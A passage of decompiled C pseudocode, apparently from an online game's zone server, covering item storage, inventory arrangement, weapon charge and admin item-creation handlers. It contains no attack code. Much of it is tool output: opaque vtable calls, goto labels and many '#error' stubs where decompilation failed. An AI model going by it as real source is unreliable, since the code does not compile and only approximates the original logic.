0x6Cu); *(_WORD *)((char *)&BelongedItem_ITI.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *((_WORD *)v20 + 54); BYTE3(BelongedItem_ITI.iti_itemstruct.itemattr.binditem.portal[9].y) = *((_BYTE *)v20 + 110); (*(void (__stdcall **)(ItemTotalInformation *, _DWORD))(*(_DWORD *)pBelongedItem_IAC + 148))( &BelongedItem_ITI, 0); v31 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v31 + 56))( v31, *((_WORD *)v18 + 3), pBelongedItemCell, &BelongedItem_ITI, &BelongedItemInvenSlot, &BelongedItemInvenSlot); v32 = ProtocolPacket::pp_SetPacketLen(&gpp, 34); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v32, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long", 34) ) { v33 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v33); } v34 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v34 + 4); goto LABEL_65; } *((_WORD *)v5 + 1) = 10383; } else { *((_WORD *)v5 + 1) = 10382; } goto LABEL_61; } *((_WORD *)v5 + 1) = 10379; LABEL_49: v37 = 4; v36 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long"; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 4); goto LABEL_62; } *((_WORD *)v5 + 1) = 10377; } else { *((_WORD *)v5 + 1) = 10378; } LABEL_37: v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long", 4) ) { v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); LABEL_64: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } LABEL_65: v56 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_66; } *((_WORD *)v5 + 1) = 10370; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { LABEL_5: v7 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); LABEL_16: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_17; } LABEL_9: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ : Packet Too Long", 4); LABEL_17: --funcallanalizer.fca_stackpoint; v56 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ"); LABEL_66: __security_check_cookie((unsigned int)&_ ^ v55); } //----- (00500350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_OPEN_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_OPEN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_OPEN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1172))(v4) + 44) >= 1u ) { if ( *((_BYTE *)v4 + 23352) & 0x20 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_OPEN_CMD : Already Open", 0); } else { ShineObjectClass::ShinePlayer::sp_AccountStoragePageReq(v4, 0, 1); ShineObjectClass::ShinePlayer::sp_AccountStoragePageReq(v4, 1, 1); ShineObjectClass::ShinePlayer::sp_AccountStoragePageReq(v4, 2, 1); ShineObjectClass::ShinePlayer::sp_AccountStoragePageReq(v4, 3, 1); ItemBag::ib_clear((ItemBag *)v4 + 17444); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3308))(v4); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_OPEN_CMD : No ChargedBuff", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_OPEN_CMD"); } //----- (00500460) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_CLOSE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_CLOSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_CLOSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3312))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ACCOUNT_STORAGE_CLOSE_CMD"); } //----- (00500500) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 bool v6; // zf@1 char v7; // cl@3 int v8; // eax@8 char v9; // al@17 int v10; // eax@18 char v11; // al@20 int v12; // eax@21 char v13; // al@22 int v14; // eax@23 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v16; // [sp+18h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = (_S14_7 & 1) == 0; *(_WORD *)gpp.pp_Buffer = 12363; v16 = 0; *((_WORD *)v5 + 1) = 12456; if ( v6 ) { _S14_7 |= 1u; cmc_69.cmc_AllowMode = 70; atexit(_E15_15); } v7 = **((_BYTE **)v4 + 892); if ( !((1 << v7) & cmc_69.cmc_AllowMode) ) goto LABEL_28; if ( v7 == 6 ) { *((_WORD *)v5 + 1) = 12459; LABEL_11: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) goto LABEL_12; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_14; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 28))((char *)v4 + 57880) == 1 ) { *((_WORD *)v5 + 1) = 12459; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { LABEL_12: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ : Packet Too Long", 4); LABEL_15: --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ"); return; } v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_14: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); goto LABEL_15; } if ( *(_DWORD *)((char *)v4 + 68579) ) { LABEL_28: *((_WORD *)v5 + 1) = 12458; goto LABEL_11; } if ( ServerMenuActor::sma_IsReady((ServerMenuActor *)((char *)v4 + 68628)) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3292))(v4) == 1 ) { *((_WORD *)v5 + 1) = 12457; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ : Packet Too Long", 4) ) { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } } else { v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ : Packet Too Long", 4) ) { v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 3300))(v4, 1); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3304))(v4); } } else { *((_WORD *)v5 + 1) = 12458; v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_AUTO_ARRANGE_INVEN_REQ : Packet Too Long", 4) ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } } v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00500790) -------------------------------------------------------- ItemAttributeClass *__thiscall ItemSmallBag::isb_Store(ItemSmallBag *this, int slot, ItemTotalInformation *iti) { ItemSmallBag *v3; // esi@1 ItemInform_ActionItem *v4; // eax@1 ItemInform_ActionItem *v5; // esi@1 unsigned __int16 v6; // ax@2 ItemAttributeClass *v7; // eax@2 ItemAttributeClass *v8; // edi@2 ItemAttributeClass *result; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemSmallBag::isb_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (ItemInform_ActionItem *)v3->vfptr->isb_GetInventoryCell(v3, slot); v5 = v4; if ( v4 ) { ItemInform_ActionItem::sii_Import(v4, iti); v6 = ItemInventoryCell::iic_ItemIdent(v5); v7 = ItemAttributeClassContainer::operator__(&itmattcontainer, v6); v8 = v7; *(_DWORD *)&v5[1].iiai_RegistNumber.binary.gap0[2] = v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); result = v8; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemSmallBag::isb_Store"); result = 0; } return result; } //----- (00500890) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease(void *this, char send, int idx, char skillAtk) { void *v4; // edi@1 signed int v5; // ebx@1 int v6; // edx@3 char v7; // al@3 int v8; // esi@9 int v9; // eax@9 int v10; // esi@9 unsigned int v11; // eax@10 __int16 v12; // bx@16 int v13; // eax@16 int v14; // ebp@16 char *v15; // esi@21 int v16; // eax@21 int v17; // edi@21 char v18; // al@21 ZoneBaseSession *v19; // eax@22 char *v20; // [sp+4h] [bp-5Ch]@5 EngageArgument arg; // [sp+1Ch] [bp-44h]@3 int v22; // [sp+5Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; if ( skillAtk ) { if ( !idx ) { LABEL_5: v20 = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; goto LABEL_25; } EngageArgument::EngageArgument(&arg, 0, 0, (SkillDataBox::SkillDataIndex *)idx, 0, 0, 1.0); v6 = **(_DWORD **)(idx + 164); LOBYTE(v22) = 1; v7 = (*(int (__stdcall **)(EngageArgument *))(v6 + 32))(&arg); LOBYTE(v22) = 0; if ( !v7 ) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); goto LABEL_5; } ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); } else { if ( !costumeWeaponDec_Normal ) goto LABEL_5; costumeWeaponDec_Normal = 0; } v8 = *((_DWORD *)v4 + 35827); v9 = *(_DWORD *)(v8 + 10); v10 = v8 + 10; if ( v9 ) { v11 = v9 - 1; *(_DWORD *)v10 = v11; if ( send || !(v11 % 0xA) ) ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(v4); if ( !(*(_DWORD *)v10 % 0xAu) ) ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(v4); if ( !*(_DWORD *)v10 ) { v12 = 13; v13 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8078))( (char *)v4 + 32312, 13); v14 = v13; if ( !v13 || *(_WORD *)(v13 + 8) == -1 ) { v12 = 11; v14 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8078))( (char *)v4 + 32312, 11); } if ( v14 ) { if ( *(_WORD *)(v14 + 8) != -1 ) { ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(v4, 8, v12); ShineObjectClass::ShinePlayer::sp_ItemDelete(v4, v14, 8, v12, 0); v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1554; *(_DWORD *)(v15 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v15 + 6) = *(_DWORD *)v14; *(_DWORD *)(v15 + 10) = *(_DWORD *)(v14 + 4); v16 = *(_DWORD *)((char *)v4 + 98); *(_DWORD *)(v15 + 14) = *(_DWORD *)v16; *(_DWORD *)(v15 + 18) = *(_DWORD *)(v16 + 4); *(_DWORD *)(v15 + 22) = *(_DWORD *)(v16 + 8); v17 = *(_DWORD *)((char *)v4 + 78); *(_DWORD *)(v15 + 26) = *(_DWORD *)v17; *(_DWORD *)(v15 + 30) = *(_DWORD *)(v17 + 4); v18 = ProtocolPacket::pp_SetPacketLen(&gpp, 34); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v18, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 34) ) { v19 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v19); } } } v5 = -1; } } v20 = "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease"; LABEL_25: --funcallanalizer.fca_stackpoint; v22 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v20); } // 130B9078: using guessed type bool costumeWeaponDec_Normal; //----- (00500AC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreItem(void *this, int inv, int iti, int exchange) { void *v4; // ebx@1 ItemAttributeClass *v5; // eax@3 char *v6; // esi@4 unsigned __int16 v7; // cx@4 char *v8; // eax@5 int v9; // esi@7 int v10; // eax@9 char *v11; // [sp-4h] [bp-24h]@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StoreItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(_WORD *)inv & 0xFC00) == 15360 ) { v5 = ItemSmallBag::isb_Store( (ItemSmallBag *)v4 + 14259, *(_WORD *)inv & 0x3FF, (ItemTotalInformation *)iti); if ( v5 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12289; *((_WORD *)v6 + 2) = *(_WORD *)inv; *((_WORD *)v6 + 1) = *(_WORD *)exchange; v7 = *(_WORD *)(iti + 8); *((_WORD *)v6 + 3) = v7; if ( v7 == -1 ) v8 = v6 + 8; else v8 = ItemTotalInformation::iti_fill2buffer_atrib((ItemTotalInformation *)iti, v5, v7, v6 + 8); v9 = v8 - v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StoreItem : Packet Too Long", v9); } } v11 = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; } else { v11 = "ShineObjectClass::ShinePlayer::so_ply_StoreItem"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); } //----- (00500C10) -------------------------------------------------------- #error "500C10: undefined or illegal type '#593' (funcsize=89)" //----- (00500D40) -------------------------------------------------------- #error "500D40: undefined or illegal type '#593' (funcsize=89)" //----- (00500E70) -------------------------------------------------------- #error "500E70: undefined or illegal type '#593' (funcsize=89)" //----- (00500FA0) -------------------------------------------------------- #error "500FA0: undefined or illegal type '#593' (funcsize=315)" //----- (00501390) -------------------------------------------------------- #error "501390: undefined or illegal type '#593' (funcsize=229)" //----- (00501680) -------------------------------------------------------- #error "501680: undefined or illegal type '#593' (funcsize=222)" //----- (00501950) -------------------------------------------------------- #error "501950: undefined or illegal type '#593' (funcsize=296)" //----- (00501D40) -------------------------------------------------------- #error "501D40: undefined or illegal type '#593' (funcsize=313)" //----- (00502170) -------------------------------------------------------- #error "502170: undefined or illegal type '#593' (funcsize=237)" //----- (00502480) -------------------------------------------------------- #error "502480: undefined or illegal type '#593' (funcsize=113)" //----- (005025F0) -------------------------------------------------------- #error "5025F0: undefined or illegal type '#734' (funcsize=347)" //----- (00502A80) -------------------------------------------------------- #error "502A80: undefined or illegal type '#734' (funcsize=200)" //----- (00502D00) -------------------------------------------------------- #error "502D00: undefined or illegal type '#734' (funcsize=246)" //----- (00503060) -------------------------------------------------------- #error "503060: undefined or illegal type '#734' (funcsize=137)" //----- (00503240) -------------------------------------------------------- #error "503240: undefined or illegal type '#734' (funcsize=510)" //----- (005038D0) -------------------------------------------------------- #error "5038D0: undefined or illegal type '#593' (funcsize=84)" //----- (00503A00) -------------------------------------------------------- #error "503A00: undefined or illegal type '#593' (funcsize=84)" //----- (00503B30) -------------------------------------------------------- #error "503B30: undefined or illegal type '#593' (funcsize=108)" //----- (00503CB0) -------------------------------------------------------- #error "503CB0: undefined or illegal type '#593' (funcsize=108)" //----- (00503E30) -------------------------------------------------------- #error "503E30: undefined or illegal type '#593' (funcsize=68)" //----- (00503F20) -------------------------------------------------------- #error "503F20: undefined or illegal type '#593' (funcsize=96)" //----- (00504080) -------------------------------------------------------- #error "504080: undefined or illegal type '#734' (funcsize=227)" //----- (00504341) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (0050434F) -------------------------------------------------------- #error "5043BF: positive sp value has been found (funcsize=42)" //----- (00504430) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(int itemcreatefail) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK", 0); } //----- (00504450) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(void *this, int box, int slot, int iti, int iic) { void *v5; // edi@1 int v6; // ebx@1 ItemAttributeClass *v7; // eax@1 char v8; // al@5 char *v9; // esi@9 int v10; // eax@9 int v11; // eax@9 unsigned __int16 v12; // ST0C_2@9 ItemAttributeClass *v13; // eax@9 int v14; // esi@9 ZoneBaseSession *v15; // eax@11 int v16; // eax@12 int v17; // eax@13 char *v18; // [sp+10h] [bp-24h]@2 int itia; // [sp+40h] [bp+Ch]@9 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = iti; v7 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(iti + 8)); if ( !v7 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 4, 515); v18 = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; goto LABEL_15; } if ( v7->vfptr->iac_ItemClass(v7) == 32 ) { ShineObjectClass::ShinePlayer::sp_MakeCapsuleItem(v5, iti, 0, 0, 0); v18 = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; goto LABEL_15; } ShineObjectClass::ShinePlayer::sp_MagicContainerMake(v5, iti, 0); if ( v8 ) { LABEL_8: v18 = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; goto LABEL_15; } if ( !*(_DWORD *)((char *)v5 + 98) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::ShineInvenSearch::sp_CreateItemByAdmin : Invalid so_Field", 0); goto LABEL_8; } v9 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = *((_WORD *)v5 + 2); *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *(_WORD *)v9 = 13313; *((_WORD *)v9 + 4) = *((_WORD *)v5 + 28942); *(_DWORD *)(v9 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); v10 = *(_DWORD *)((char *)v5 + 98); *(_DWORD *)(v9 + 14) = *(_DWORD *)v10; *(_DWORD *)(v9 + 18) = *(_DWORD *)(v10 + 4); *(_DWORD *)(v9 + 22) = *(_DWORD *)(v10 + 8); v11 = *(_DWORD *)((char *)v5 + 78); *(_DWORD *)(v9 + 26) = *(_DWORD *)v11; *(_DWORD *)(v9 + 30) = *(_DWORD *)(v11 + 4); *((_WORD *)v9 + 17) = ((_WORD)box << 10) | slot & 0x3FF; itia = (int)(v9 + 34); *((_WORD *)v9 + 22) = *(_WORD *)(v6 + 8); *((_DWORD *)v9 + 9) = *(_DWORD *)v6; *((_DWORD *)v9 + 10) = *(_DWORD *)(v6 + 4); *((_WORD *)v9 + 23) = 46; v12 = *(_WORD *)(v6 + 8); v13 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v6 + 8)); v14 = ItemTotalInformation::iti_fill2buffer_atrib((ItemTotalInformation *)v6, v13, v12, v9 + 48) - (v9 + 48) + 48; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v14) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v15); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin : Packet Too Long", v14); } v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 2004))(v5); LOWORD(v16) = *(_WORD *)(v16 + 4); (*(void (__thiscall **)(char *, int, int, int, int, int))(*((_DWORD *)v5 + 14470) + 56))( (char *)v5 + 57880, v16, iic, v6, itia, itia); if ( box == 8 ) { v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(char *, _DWORD, int, int, signed int, _DWORD))(*((_DWORD *)v5 + 14470) + 72))( (char *)v5 + 57880, *(_WORD *)(v17 + 4), slot, iic, -1, 0); } ++*((_WORD *)v5 + 28942); v18 = "ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin"; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); } //----- (005046C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(void *this, int itemcreatefail) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK"); } //----- (00504826) -------------------------------------------------------- int __usercall sub_504826(int a1, __int16 a2) { int v3; // [sp+0h] [bp+0h]@1 *(_BYTE *)(a1 - 30) |= HIBYTE(a2); return MK_FP(v3, v3)(); } //----- (00504880) -------------------------------------------------------- #error "504880: undefined or illegal type '#593' (funcsize=65)" //----- (00504970) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, __int16 handle, int invcell, int inv) { void *v4; // edi@1 char *v5; // esi@1 char v6; // al@1 int v7; // ebp@1 ZoneBaseSession *v8; // eax@3 int v9; // eax@5 int v10; // eax@7 int handlea; // [sp+40h] [bp+4h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DestroyItemA"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DestroyItemA"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13401; *((_WORD *)v5 + 1) = handle; *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v5 + 4) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4) + 4); v5[10] = 0; *(_DWORD *)(v5 + 25) = *(_DWORD *)invcell; *(_DWORD *)(v5 + 29) = *(_DWORD *)(invcell + 4); v6 = v5[10] ^ (v5[10] ^ (v5[10] + 1)) & 0x7F; v5[10] = v6; v7 = 8 * (v6 & 0x7F) + 25; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v7) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_63450C.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v7); } if ( (*(_WORD *)inv & 0xFC00) == 8192 ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, int))(*(_DWORD *)v9 + 76))( v9, *((_WORD *)v5 + 4), *(_WORD *)inv & 0x3FF, invcell); } handlea = (int)((char *)v4 + 57880); (*(void (__stdcall **)(_DWORD, int, int, int))(*((_DWORD *)v4 + 14470) + 48))(*((_WORD *)v5 + 4), invcell, inv, inv); if ( (*(_WORD *)inv & 0xFC00) == 8192 ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, int, signed int, _DWORD))(*(_DWORD *)v10 + 72))( v10, *((_WORD *)v5 + 4), *(_WORD *)inv & 0x3FF, invcell, -1, 0); } ++*(_WORD *)(handlea + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DestroyItemA"); return 1; } //----- (00504B40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, __int16 Handle, __int16 ItemID, __int16 inv, int InvenType) { 